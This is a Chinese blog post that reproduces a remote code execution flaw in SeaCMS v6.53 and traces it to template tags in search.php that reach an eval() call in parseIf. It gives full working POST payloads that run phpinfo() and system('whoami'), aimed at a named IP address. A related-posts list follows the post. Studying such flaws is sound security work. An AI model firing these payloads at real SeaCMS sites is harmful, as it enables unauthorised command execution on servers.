参考

https://www.freebuf.com/vuls/150042.html
https://www.jianshu.com/p/a3a18f233184?tdsourcetag=s_pctim_aiomsg

cms首页地址为:http://139.155.1.64/seacms(v6.53)/upload/
漏洞存在地址为:http://139.155.1.64/seacms(v6.53)/upload/search.php
抓包发送已知的poc:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

得到php的当前信息,之后可执行任意命令:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");


这是执行whoami命令得到的结果:

现在来分析一下原因:
打开search.php分析源码:

在echoSearchPage() 函数里面可以看见这样一段代码

........
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));
.....  ... ...function echoSearchPage()
{
if(intval($searchtype)==5){..... ...  ....... ..........$content = str_replace("{searchpage:type}",$tid,$content);$content = str_replace("{searchpage:typename}",$tname ,$content);$content = str_replace("{searchpage:year}",$year,$content);$content = str_replace("{searchpage:area}",$area,$content);$content = str_replace("{searchpage:letter}",$letter,$content);$content = str_replace("{searchpage:lang}",$yuyan,$content);$content = str_replace("{searchpage:jq}",$jq,$content);$content = str_replace("{searchpage:state}",$state2,$content);$content = str_replace("{searchpage:money}",$money2,$content);$content = str_replace("{searchpage:ver}",$ver,$content);.....  ......  ...........

removeXSS,addslashes函数对这些变量有限制,截取了前20个字节,即每个参数只能传入20个字节长度的限制

searchtype=5是高级搜索的入口,并且对{searchpage:type},{searchpage:area}…等变量都进行了替换;替换成对应的变量,但是这些变量是我们可以控制输入的,因此,漏洞产生;

 $content=replaceCurrentTypeId($content,-444);$content=$mainClassObj->parseIf($content);$content=str_replace("{seacms:member}",front_member(),$content);$searchPageStr = $content;echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;

这段代码是将content的值传给/main.class.php
然后到/main.class.php里面去看看:
parseIf函数将content变量传入,并且content里面必须要存在{if:
虽然有很多条件,但都存在着命令执行函数eval

现在分析POC:
首先searchtype=5是进入高级搜索的条件,然后searchword是我们的content:

将{searchpage:year}换成$year,

{searchpage:letter}换成$letter;

{searchpage:lang}换成$yuyan;

{searchpage:jq}换成$jq;

{searchpage:ver}换成$ver;

再在后面补充各个变量的值,所以以上的POC实际上是:

所以以上的POC实际上是:

 searchtype=5&searchword={if:eval(join($_POST[9]))}&9[]=ph&9[]=pinfo();

利用base64_decode的数组漏洞将9[]=真正的命令传入
在/main.class.php里面,传入的content里面含有{if:,所以返回eval,并且执行命令;

function parseIf($content){if (strpos($content,'{if:')=== false){return $content;}else{....@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

所以最终执行的是:
@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");

海洋cms v6.53 v6.54版本漏洞复现相关推荐

  1. 帝国CMS(EmpireCMS) v7.5 后台XSS漏洞复现与原理分析

    一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单引号),还有addslashes函数处理,但是没有对任何恶意关键 ...

  2. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞复现

    一. 漏洞描述 该漏洞是由于JavaScript获取url的参数,没有经过任何过滤直接当作a标签和img标签的href属性和src属性输出 二. 漏洞复现 需要开启会员空间功能,登录后台开启会员空间功 ...

  3. [春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag

    CVE-2022-28060 访问题目提示的login.php,登录框登录抓包,保存为2.txt,sqlmap跑起来 python3 sqlmap.py -r 2.txt --file-read &q ...

  4. 海洋CMS自动采集教程,小白都会操作

    * 针对Liunx,Windows自行扩展. * 无需Python3支持 脚本代码如下: #!/bin/bash ########################################### ...

  5. 查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)

    OpenSSH命令注入漏洞复现(CVE-2020-15778) 目录 漏洞描述 漏洞等级 漏洞影响版本 漏洞复现 修复建议 ▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现.通 ...

  6. 禅道 11.6版本 后台漏洞 复现和审计

    文章目录 查看版本漏洞 sql注入 任意文件读取 rce 禅道 11.6版本下载地址 本次复现环境windows 先搞清楚禅道参数的传递方式,进入index.php慢慢看 先发现了这个语句: 这个导致 ...

  7. CISCO ASA设备任意文件读取漏洞复现 (CVE-2020-3452)

    漏洞描述 Cisco Adaptive Security Appliance (ASA) 防火墙设备以及Cisco Firepower Threat Defense (FTD)设备的WEB管理界面存在 ...

  8. php 远程代码执行漏洞复现 cve-2019-11043

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

  9. openssh漏洞_技术干货 | OpenSSH命令注入漏洞复现(CVE202015778)

    本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作! 欢迎各位添加 ...

  10. spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)

    3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942).攻击者利用该漏洞,可在未授权的情况下远 ...

最新文章

  1. mysql sql模式_MySQL SQL模式特点汇总
  2. 计算机设备间使用面积,【IBE】综合布线设计中的常用计算公式
  3. Xcode8打包上传后构建版本消失问题
  4. Web开发-Django表单
  5. Palo Alto Networks全球化安全堡垒理念 提升企业防御能力
  6. java泛型程序设计——调用遗留代码
  7. C++工作笔记-对|,这些位运算的进一步认识
  8. 【今日CV 计算机视觉论文速览 第124期】Tue, 4 Jun 2019
  9. QQ 二十年沉浮起落,黑产从未缺席
  10. 【数字信号调制】基于matlab二进制差分相移键控调制(2DPSK)【含Matlab源码 163期】
  11. php公众号多域名授权,多个网站用一个微信公众号授权域名的坑
  12. 控制算法和编程算法_算法中的编程公平性
  13. python 更换windows壁纸(简单)
  14. Android UI 测试框架Espresso详解
  15. ios查看苹果app的下载量,日活,销售情况等相关数据
  16. 基于单片机的数字温度计设计
  17. 《数据库系统原理》教学上机实验报告
  18. C#多线程(二) -- ThreadStart
  19. 首次!嫦娥四号成功软着陆月球背面,中国探测器完成人类航天史壮举
  20. TeX行间公式与行内公式

热门文章

  1. 【渗透测试】IIS6.0的安装、使用与相关漏洞
  2. MapGis67读取点线区
  3. linux系统 安装hp驱动怎么安装,Ubuntu 8.04 下安装HP LaserJet 1020 打印机驱动程序步骤...
  4. C++之类和对象(三)
  5. Aladdin HASP加密狗破解脱壳笔记
  6. Algorithm Review 5 图论
  7. 百度地图点聚合,加载1万个marker
  8. Epub基础知识介绍
  9. 宏基4750网卡驱动linux,宏基4750g网卡驱动下载
  10. 小软件项目开发的管理